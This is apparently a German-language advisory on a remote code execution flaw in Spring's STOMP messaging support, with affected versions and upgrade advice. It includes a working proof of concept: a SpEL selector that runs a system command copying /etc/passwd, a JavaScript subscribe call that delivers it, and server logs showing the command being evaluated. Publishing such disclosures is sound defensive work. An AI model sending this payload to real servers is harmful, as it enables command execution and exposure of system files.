
Spring messaging STOMP protocol RCE
Gestern hat Spring einen RCE-Schwachstelle veröffentlicht, mehr dazu:
Betroffene Versionen
Diese Schwachstelle erfordert keine bestimmte Umgebung. Wenn Sie spring-messaging + websocket + STOMP verwenden, aktualisieren Sie bitte so schnell wie möglich auf die neueste Version. Falls Sie SpringBoot verwenden, aktualisieren Sie auf 2.0.1.RELEASE.
Kurz gesagt, weil StandardEvaluationContext zu weitreichende Berechtigungen hat und beliebige SpEL-Ausdrücke ausführen kann, hat das offizielle Team ab Spring 5.0.5 SimpleEvaluationContext eingeführt, um eine einfache Datenbindung zu ermöglichen, die Flexibilität bewahrt, aber keine Sicherheitsrisiken mit sich bringt.
spring-messaging bietet Unterstützung für das STOMP-Protokoll, sodass Clients Nachrichten abonnieren und mit einem Selektor filtern können, z.B.
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
Wenn Sie abonnieren, speichert Spring diesen Filter und löst ihn aus, wenn der Client eine Nachricht erhält, z.B.
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]
...
2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean
Poc-Screenshot

Eine detaillierte Analyse des Schwachstellenproblems folgt später.
Kompilieren und starten Sie den Spring Boot Server:
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar
Greifen Sie zu – geben Sie einen Ausdruck zum Testen ein:
http://localhost:8080
